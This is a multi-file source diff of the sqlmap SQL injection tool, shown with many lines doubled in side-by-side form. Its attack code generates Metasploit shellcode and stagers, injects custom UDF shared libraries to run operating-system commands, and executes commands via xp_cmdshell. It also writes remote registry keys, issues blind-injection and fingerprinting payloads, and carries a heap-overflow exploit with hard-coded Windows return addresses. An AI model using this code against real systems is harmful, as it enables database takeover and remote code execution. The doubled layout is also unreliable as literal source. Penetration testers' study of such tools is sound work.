payloadSize = re.search("size ([\d]+)", payloadStderr, re.I) payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
else: else:
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I) payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
if payloadSize: if payloadSize:
payloadSize = payloadSize.group(1) payloadSize = int(payloadSize.group(1))
debugMsg = "the shellcode size is %s bytes" % payloadSize if extra == "BufferRegister=EAX":
payloadSize = payloadSize / 2
debugMsg = "the shellcode size is %d bytes" % payloadSize
logger.debug(debugMsg) logger.debug(debugMsg)
else: else:
errMsg = "failed to create the shellcode (%s)" % payloadStderr errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "")
raise sqlmapFilePathException, errMsg raise sqlmapFilePathException, errMsg
self.__shellcodeFP = open(self.__shellcodeFilePath, "rb") self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
self.__shellcodeString = self.__shellcodeFP.read() self.shellcodeString = self.__shellcodeFP.read()
self.__shellcodeFP.close() self.__shellcodeFP.close()
os.unlink(self.__shellcodeFilePath) os.unlink(self.__shellcodeFilePath)
hexStr = binascii.hexlify(self.__shellcodeString)
for hexPair in range(0, len(hexStr), 2):
self.shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
def createMsfPayloadStager(self, initialize=True): def createMsfPayloadStager(self, initialize=True):
if initialize == True: if initialize == True:
@@ -590,10 +592,20 @@ class Metasploit:
self.__randStr = randomStr(lowercase=True) self.__randStr = randomStr(lowercase=True)
if kb.os == "Windows": if kb.os == "Windows":
self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr) self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s.exe" % self.__randStr)
self.__fileFormat = "exe"
# Metasploit developers added support for the old exe format
# to msfencode using '-t exe-small' (>= 3.3.3-dev),
# http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840
# This is useful for sqlmap because on PostgreSQL it is not
# possible to write files bigger than 8192 bytes abusing the
# lo_export() feature implemented in sqlmap.
if kb.dbms == "PostgreSQL":
self.__fileFormat = "exe-small"
else:
self.__fileFormat = "exe"
else: else:
self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr) self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
self.__fileFormat = "elf" self.__fileFormat = "elf"
if initialize == True: if initialize == True:
@@ -612,7 +624,7 @@ class Metasploit:
payloadStderr = process.communicate()[1] payloadStderr = process.communicate()[1]
if kb.os == "Windows": if kb.os == "Windows":
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I) payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I)
else: else:
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I) payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
@@ -621,10 +633,18 @@ class Metasploit:
if payloadSize: if payloadSize:
payloadSize = payloadSize.group(1) payloadSize = payloadSize.group(1)
exeSize = os.path.getsize(self.exeFilePathLocal) exeSize = os.path.getsize(self.exeFilePathLocal)
packedSize = upx.pack(self.exeFilePathLocal)
# Only pack the payload stager if the back-end DBMS is not
# PostgreSQL because for this DBMS, sqlmap uses the
# Metasploit's old exe format
if self.__fileFormat != "exe-small":
packedSize = upx.pack(self.exeFilePathLocal)
else:
packedSize = None
debugMsg = "the encoded payload size is %s bytes, " % payloadSize debugMsg = "the encoded payload size is %s bytes, " % payloadSize
if packedSize and packedSize != exeSize: if packedSize and packedSize < exeSize:
debugMsg += "as a compressed portable executable its size " debugMsg += "as a compressed portable executable its size "
debugMsg += "is %d bytes, decompressed it " % packedSize debugMsg += "is %d bytes, decompressed it " % packedSize
debugMsg += "was %s bytes large" % exeSize debugMsg += "was %s bytes large" % exeSize
@@ -647,16 +667,26 @@ class Metasploit:
os.unlink(self.exeFilePathLocal) os.unlink(self.exeFilePathLocal)
def pwn(self): def pwn(self, goUdf=False):
self.__runMsfCli(exitfunc="process") if goUdf is True:
exitfunc = "thread"
func = self.__runMsfShellcodeRemote
else:
exitfunc = "process"
func = self.__runMsfPayloadRemote
self.__runMsfCli(exitfunc=exitfunc)
if self.connectionStr.startswith("bind"): if self.connectionStr.startswith("bind"):
self.__runMsfPayloadRemote() func()
debugMsg = "Metasploit Framework 3 command line interface exited " debugMsg = "Metasploit Framework 3 command line interface exited "
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.__runMsfPayloadRemote) debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
logger.debug(debugMsg) logger.debug(debugMsg)
if goUdf is False:
self.delRemoteFile(self.exeFilePathRemote, doubleslash=True)
def smb(self): def smb(self):
self.__initVars() self.__initVars()

View File

@@ -37,20 +37,20 @@ class Registry:
This class defines methods to read and write Windows registry keys This class defines methods to read and write Windows registry keys
""" """
def __initVars(self, regKey, regName, regType=None, regValue=None, parse=False): def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
self.__regKey = regKey self.__regKey = regKey
self.__regName = regName
self.__regType = regType
self.__regValue = regValue self.__regValue = regValue
self.__regType = regType
self.__regData = regData
self.__randStr = randomStr(lowercase=True) self.__randStr = randomStr(lowercase=True)
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr) self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr) self.__batPathLocal = os.path.join(conf.outputPath, "sqlmapreg%s%s.bat" % (self.__operation, self.__randStr))
if parse == True: if parse == True:
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"') DO SET value=%%A\r\nECHO %value%\r\n" readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
else: else:
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"" readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
self.__batRead = ( self.__batRead = (
"@ECHO OFF\r\n", "@ECHO OFF\r\n",
@@ -59,24 +59,15 @@ class Registry:
self.__batAdd = ( self.__batAdd = (
"@ECHO OFF\r\n", "@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regName, self.__regType, self.__regValue) "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData)
) )
self.__batDel = ( self.__batDel = (
"@ECHO OFF\r\n", "@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regName) "REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
) )
def __execBatPathRemote(self):
if kb.dbms == "Microsoft SQL Server":
cmd = self.xpCmdshellForgeCmd(self.__batPathRemote)
else:
cmd = self.__batPathRemote
self.execCmd(cmd)
def __createLocalBatchFile(self): def __createLocalBatchFile(self):
self.__batPathFp = open(self.__batPathLocal, "w") self.__batPathFp = open(self.__batPathLocal, "w")
@@ -102,38 +93,49 @@ class Registry:
os.unlink(self.__batPathLocal) os.unlink(self.__batPathLocal)
def readRegKey(self, regKey, regName, parse): def readRegKey(self, regKey, regValue, parse=False):
self.__operation = "read" self.__operation = "read"
self.__initVars(regKey, regName, parse=parse) self.__initVars(regKey, regValue, parse=parse)
self.__createRemoteBatchFile() self.__createRemoteBatchFile()
logger.debug("reading registry key '%s' name '%s'" % (regKey, regName)) logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue))
return self.evalCmd(self.__batPathRemote) if not parse:
first = len(regKey) + 6
else:
first = None
data = self.evalCmd(self.__batPathRemote, first)
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
return data
def addRegKey(self, regKey, regName, regType, regValue): def addRegKey(self, regKey, regValue, regType, regData):
self.__operation = "add" self.__operation = "add"
self.__initVars(regKey, regName, regType, regValue) self.__initVars(regKey, regValue, regType, regData)
self.__createRemoteBatchFile() self.__createRemoteBatchFile()
debugMsg = "adding registry key name '%s' " % self.__regName debugMsg = "adding registry key value '%s' " % self.__regValue
debugMsg += "to registry key '%s'" % self.__regKey debugMsg += "to registry key '%s'" % self.__regKey
logger.debug(debugMsg) logger.debug(debugMsg)
self.__execBatPathRemote() self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
def delRegKey(self, regKey, regName): def delRegKey(self, regKey, regValue):
self.__operation = "delete" self.__operation = "delete"
self.__initVars(regKey, regName) self.__initVars(regKey, regValue)
self.__createRemoteBatchFile() self.__createRemoteBatchFile()
debugMsg = "deleting registry key name '%s' " % self.__regName debugMsg = "deleting registry key value '%s' " % self.__regValue
debugMsg += "from registry key '%s'" % self.__regKey debugMsg += "from registry key '%s'" % self.__regKey
logger.debug(debugMsg) logger.debug(debugMsg)
self.__execBatPathRemote() self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
self.delRemoteFile(self.__batPathRemote, doubleslash=True)

View File

@@ -24,9 +24,21 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
from lib.core.agent import agent
from lib.core.common import readInput
from lib.core.convert import urlencode from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.dump import dumper
from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject from lib.request import inject
from lib.techniques.outband.stacked import stackedTest
class UDF: class UDF:
@@ -37,20 +49,71 @@ class UDF:
def __init__(self): def __init__(self):
self.createdUdf = set() self.createdUdf = set()
self.udfs = {}
self.udfToCreate = set() self.udfToCreate = set()
def udfExecCmd(self, cmd, silent=False): def __askOverwriteUdf(self, udf):
message = "UDF '%s' already exists, do you " % udf
message += "want to overwrite it? [y/N] "
output = readInput(message, default="N")
if output and output[0] in ("y", "Y"):
return True
else:
return False
def __checkExistUdf(self, udf):
logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf))
exists = inject.getValue(query, resumeValue=False, unpack=False)
if exists == "1":
return True
else:
return False
def udfCheckAndOverwrite(self, udf):
exists = self.__checkExistUdf(udf)
overwrite = True
if exists is True:
overwrite = self.__askOverwriteUdf(udf)
if overwrite is True:
self.udfToCreate.add(udf)
def udfCreateSupportTbl(self, dataType):
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
def udfExecCmd(self, cmd, silent=False, udfName=None):
cmd = urlencode(cmd, convall=True) cmd = urlencode(cmd, convall=True)
inject.goStacked("SELECT sys_exec('%s')" % cmd, silent) if udfName is None:
cmd = "'%s'" % cmd
udfName = "sys_exec"
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
def udfEvalCmd(self, cmd): def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
cmd = urlencode(cmd, convall=True) cmd = urlencode(cmd, convall=True)
inject.goStacked("INSERT INTO %s(%s) VALUES (sys_eval('%s'))" % (self.cmdTblName, self.tblField, cmd)) if udfName is None:
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False) cmd = "'%s'" % cmd
udfName = "sys_eval"
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
inject.goStacked("DELETE FROM %s" % self.cmdTblName) inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if isinstance(output, (list, tuple)): if isinstance(output, (list, tuple)):
@@ -62,6 +125,258 @@ class UDF:
return output return output
def udfInit(self): def udfCreateFromSharedLib(self):
errMsg = "udfInit() method must be defined within the plugin" errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
def udfSetRemotePath(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException, errMsg
def udfInjectCmd(self):
errMsg = "udfInjectCmd() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException, errMsg
def udfInjectCore(self, udfDict):
for udf in udfDict.keys():
if udf in self.createdUdf:
continue
self.udfCheckAndOverwrite(udf)
if len(self.udfToCreate) > 0:
self.udfSetRemotePath()
self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", False)
for udf, inpRet in udfDict.items():
if udf in self.udfToCreate and udf not in self.createdUdf:
self.udfCreateFromSharedLib(udf, inpRet)
if kb.dbms == "MySQL":
supportTblType = "longtext"
elif kb.dbms == "PostgreSQL":
supportTblType = "text"
self.udfCreateSupportTbl(supportTblType)
def udfInjectCustom(self):
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
raise sqlmapUnsupportedFeatureException, errMsg
stackedTest()
if kb.stackedTest == False:
return
self.checkDbmsOs()
if self.isDba() == False:
warnMsg = "the functionality requested might not work because "
warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg)
if not conf.shLib:
msg = "which is the local path of the shared library? "
while True:
self.udfLocalFile = readInput(msg)
if self.udfLocalFile:
break
else:
logger.warn("you need to specify the local path of the shared library")
else:
self.udfLocalFile = conf.shLib
if not os.path.exists(self.udfLocalFile):
errMsg = "the specified shared library file does not exist"
raise sqlmapFilePathException, errMsg
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
errMsg = "shared library file must end with '.dll' or '.so'"
raise sqlmapMissingMandatoryOptionException, errMsg
elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
errMsg = "you provided a shared object as shared library, but "
errMsg += "the database underlying operating system is Windows"
raise sqlmapMissingMandatoryOptionException, errMsg
elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
errMsg = "you provided a dynamic-link library as shared library, "
errMsg += "but the database underlying operating system is Linux"
raise sqlmapMissingMandatoryOptionException, errMsg
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
msg = "how many user-defined functions do you want to create "
msg += "from the shared library? "
while True:
udfCount = readInput(msg, default=1)
if isinstance(udfCount, str) and udfCount.isdigit():
udfCount = int(udfCount)
if udfCount <= 0:
logger.info("nothing to inject then")
return
else:
break
elif isinstance(udfCount, int):
break
else:
logger.warn("invalid value, only digits are allowed")
for x in range(0, udfCount):
while True:
msg = "what is the name of the UDF number %d? " % (x + 1)
udfName = readInput(msg)
if udfName:
self.udfs[udfName] = {}
break
else:
logger.warn("you need to specify the name of the UDF")
if kb.dbms == "MySQL":
defaultType = "string"
elif kb.dbms == "PostgreSQL":
defaultType = "text"
self.udfs[udfName]["input"] = []
default = 1
msg = "how many input parameters takes UDF "
msg += "'%s'? (default: %d) " % (udfName, default)
while True:
parCount = readInput(msg, default=default)
if isinstance(parCount, str) and parCount.isdigit() and int(parCount) >= 0:
parCount = int(parCount)
break
elif isinstance(parCount, int):
break
else:
logger.warn("invalid value, only digits >= 0 are allowed")
for y in range(0, parCount):
msg = "what is the data-type of input parameter "
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
while True:
parType = readInput(msg, default=defaultType)
if isinstance(parType, str) and parType.isdigit():
logger.warn("you need to specify the data-type of the parameter")
else:
self.udfs[udfName]["input"].append(parType)
break
msg = "what is the data-type of the return "
msg += "value? (default: %s) " % defaultType
while True:
retType = readInput(msg, default=defaultType)
if isinstance(retType, str) and retType.isdigit():
logger.warn("you need to specify the data-type of the return value")
else:
self.udfs[udfName]["return"] = retType
break
self.udfInjectCore(self.udfs)
msg = "do you want to call your injected user-defined "
msg += "functions now? [Y/n/q] "
choice = readInput(msg, default="Y")
if choice[0] not in ( "y", "Y" ):
self.cleanup(udfDict=self.udfs)
return
while True:
udfList = []
msg = "which UDF do you want to call?"
for udf, inpRet in self.udfs.items():
udfList.append(udf)
msg += "\n[%d] %s" % (len(udfList), udf)
msg += "\n[q] Quit"
while True:
choice = readInput(msg)
if choice[0] in ( "q", "Q" ):
break
if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
choice = int(choice)
break
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
break
else:
warnMsg = "invalid value, only digits >= 1 and "
warnMsg += "<= %d are allowed" % len(udfList)
logger.warn(warnMsg)
cmd = ""
count = 1
udfToCall = udfList[choice - 1]
for inp in self.udfs[udfToCall]["input"]:
msg = "what is the value of the parameter number "
msg += "%d (data-type: %s)? " % (count, inp)
while True:
parValue = readInput(msg)
if parValue:
if "int" not in inp and "bool" not in inp:
parValue = "'%s'" % parValue
cmd += "%s," % parValue
break
else:
logger.warn("you need to specify the value of the parameter")
count += 1
cmd = cmd[:-1]
msg = "do you want to retrieve the return value of the "
msg += "UDF? [Y/n] "
choice = readInput(msg, default="Y")
if choice[0] in ("y", "Y"):
output = self.udfEvalCmd(cmd, udfName=udfToCall)
if output:
dumper.string("return value", output)
else:
print "No return value"
else:
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
msg = "do you want to call this or another injected UDF? [Y/n] "
choice = readInput(msg, default="Y")
if choice[0] not in ("y", "Y"):
break
self.cleanup(udfDict=self.udfs)

View File

@@ -52,7 +52,7 @@ class UPX:
self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH
elif "win" in PLATFORM: elif "win" in PLATFORM:
self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH self.__upxPath = "%s\upx\windows\upx.exe" % paths.SQLMAP_CONTRIB_PATH
elif "linux" in PLATFORM: elif "linux" in PLATFORM:
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
@@ -80,17 +80,17 @@ class UPX:
pollProcess(process) pollProcess(process)
upxStdout, upxStderr = process.communicate() upxStdout, upxStderr = process.communicate()
warnMsg = "failed to compress the file" msg = "failed to compress the file"
if "NotCompressibleException" in upxStdout: if "NotCompressibleException" in upxStdout:
warnMsg += " because you provided a Metasploit version above " msg += " because you provided a Metasploit version above "
warnMsg += "3.3-dev revision 6681. This will not inficiate " msg += "3.3-dev revision 6681. This will not inficiate "
warnMsg += "the correct execution of sqlmap. It might " msg += "the correct execution of sqlmap. It might "
warnMsg += "only slow down a bit the execution of sqlmap" msg += "only slow down a bit the execution"
logger.info(warnMsg) logger.debug(msg)
elif upxStderr: elif upxStderr:
logger.warn(warnMsg) logger.warn(msg)
else: else:
return os.path.getsize(srcFile) return os.path.getsize(srcFile)

View File

@@ -134,20 +134,20 @@ class xp_cmdshell:
inject.goStacked(cmd, silent) inject.goStacked(cmd, silent)
def xpCmdshellEvalCmd(self, cmd): def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
self.getRemoteTempPath() self.getRemoteTempPath()
tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile)) cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile))
self.xpCmdshellExecCmd(cmd) self.xpCmdshellExecCmd(cmd)
self.xpCmdshellExecCmd("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
cmd = self.xpCmdshellForgeCmd("del /F %s" % tmpFile.replace("/", "\\")) inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
self.xpCmdshellExecCmd(cmd)
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False) self.delRemoteFile(tmpFile)
self.xpCmdshellExecCmd("DELETE FROM %s" % self.cmdTblName)
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if isinstance(output, (list, tuple)): if isinstance(output, (list, tuple)):
output = output[0] output = output[0]

View File

@@ -45,7 +45,7 @@ from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def bisection(payload, expression, length=None, charsetType=None): def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None):
""" """
Bisection algorithm that can be used to perform blind SQL injection Bisection algorithm that can be used to perform blind SQL injection
on an affected host on an affected host
@@ -56,6 +56,24 @@ def bisection(payload, expression, length=None, charsetType=None):
asciiTbl = getCharset(charsetType) asciiTbl = getCharset(charsetType)
if "LENGTH(" in expression or "LEN(" in expression:
firstChar = 0
elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, str) and conf.firstChar.isdigit() ) ):
firstChar = int(conf.firstChar) - 1
elif firstChar is None:
firstChar = 0
elif ( isinstance(firstChar, str) and firstChar.isdigit() ) or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
if "LENGTH(" in expression or "LEN(" in expression:
lastChar = 0
elif conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, str) and conf.lastChar.isdigit() ) ):
lastChar = int(conf.lastChar)
elif lastChar in ( None, "0" ):
lastChar = 0
elif ( isinstance(lastChar, str) and lastChar.isdigit() ) or isinstance(lastChar, int):
lastChar = int(lastChar)
if kb.dbmsDetected: if kb.dbmsDetected:
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression) _, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr) nulledCastedField = agent.nullAndCastField(fieldToCastStr)
@@ -73,9 +91,12 @@ def bisection(payload, expression, length=None, charsetType=None):
if length == 0: if length == 0:
return 0, "" return 0, ""
showEta = conf.eta and isinstance(length, int) if lastChar > 0 and length > ( lastChar - firstChar ):
length = ( lastChar - firstChar )
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length) numThreads = min(conf.threads, length)
threads = [] threads = []
if showEta: if showEta:
progress = ProgressBar(maxValue=length) progress = ProgressBar(maxValue=length)
@@ -133,8 +154,8 @@ def bisection(payload, expression, length=None, charsetType=None):
if conf.threads > 1 and isinstance(length, int) and length > 1: if conf.threads > 1 and isinstance(length, int) and length > 1:
value = [None] * length value = [ None ] * length
index = [0] # As list for python nested function scoping index = [ firstChar ] # As list for python nested function scoping
idxlock = threading.Lock() idxlock = threading.Lock()
iolock = threading.Lock() iolock = threading.Lock()
@@ -156,7 +177,7 @@ def bisection(payload, expression, length=None, charsetType=None):
charStart = time.time() charStart = time.time()
val = getChar(curidx) val = getChar(curidx)
if val == None: if val is None:
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length) raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
value[curidx-1] = val value[curidx-1] = val
@@ -224,14 +245,14 @@ def bisection(payload, expression, length=None, charsetType=None):
dataToStdout(infoMsg) dataToStdout(infoMsg)
else: else:
index = 0 index = firstChar
while True: while True:
index += 1 index += 1
charStart = time.time() charStart = time.time()
val = getChar(index, asciiTbl) val = getChar(index, asciiTbl)
if val == None: if val is None or ( lastChar > 0 and index > lastChar ):
break break
finalValue += val finalValue += val

View File

@@ -107,7 +107,7 @@ def resume(expression, payload):
if resumedValue[-1] == "]": if resumedValue[-1] == "]":
resumedValue = resumedValue[:-1] resumedValue = resumedValue[:-1]
infoMsg = "read from file '%s': " % conf.sessionFile infoMsg = "read from file '%s': " % conf.sessionFile
logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S) logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S)
if logValue: if logValue:

View File

@@ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import binascii
import os import os
import time import time
@@ -32,6 +33,7 @@ from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp from lib.core.common import getHtmlErrorFp
from lib.core.common import getRange from lib.core.common import getRange
from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.convert import urlencode from lib.core.convert import urlencode
from lib.core.data import conf from lib.core.data import conf
@@ -192,10 +194,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
logger.info(infoMsg) logger.info(infoMsg)
for version in ( 0, 5, 8 ): for version in ( 0, 5, 8 ):
payload = agent.fullPayload(" AND ( ( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d ) )" % (version, version)) randInt = randomInt()
query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
payload = agent.fullPayload(query)
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result == True: if result is True:
if version == 8: if version == 8:
kb.dbmsVersion = [ "2008" ] kb.dbmsVersion = [ "2008" ]
@@ -212,7 +216,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
break break
else: else:
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=7") query = " AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1))
payload = agent.fullPayload(query)
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result == True: if result == True:
@@ -589,22 +594,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
def overflowBypassDEP(self):
self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
if self.bypassDEP == False:
return
else:
warnMsg = "sqlmap tried to add the expection for "
warnMsg += "'sqlservr.exe' within the registry, but will not "
warnMsg += "restart the MSSQLSERVER process to avoid denial "
warnMsg += "of service. The buffer overflow trigger could not "
warnMsg += "work, however sqlmap will give it a try. Soon "
warnMsg += "it will come a new MS09-004 exploit to "
warnMsg += "automatically bypass DEP."
logger.warn(warnMsg)
def spHeapOverflow(self): def spHeapOverflow(self):
""" """
References: References:
@@ -613,83 +602,112 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
""" """
returns = { returns = {
"2003": ( 2, "CHAR(0x77)+CHAR(0x55)+CHAR(0x87)+CHAR(0x7c)" ), # ntdll.dll: 0x7c8601bd -> 7508e877 (0x77e80857 it's a CALL ESI @ kernel32.dll) # 2003 Service Pack 0
"2000": ( 4, "CHAR(0xdc)+CHAR(0xe1)+CHAR(0xf8)+CHAR(0x7c)" ), # shell32.dll: 0x7cf8e1ec 163bf77c -> (CALL ESI @ shell32.dll) "2003-0": ( "" ),
}
retAddr = None
for version, data in returns.items(): # 2003 Service Pack 1
sp = data[0] "2003-1": ( "CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
address = data[1]
# 2003 Service Pack 2 updated at 12/2008
#"2003-2": ( "CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
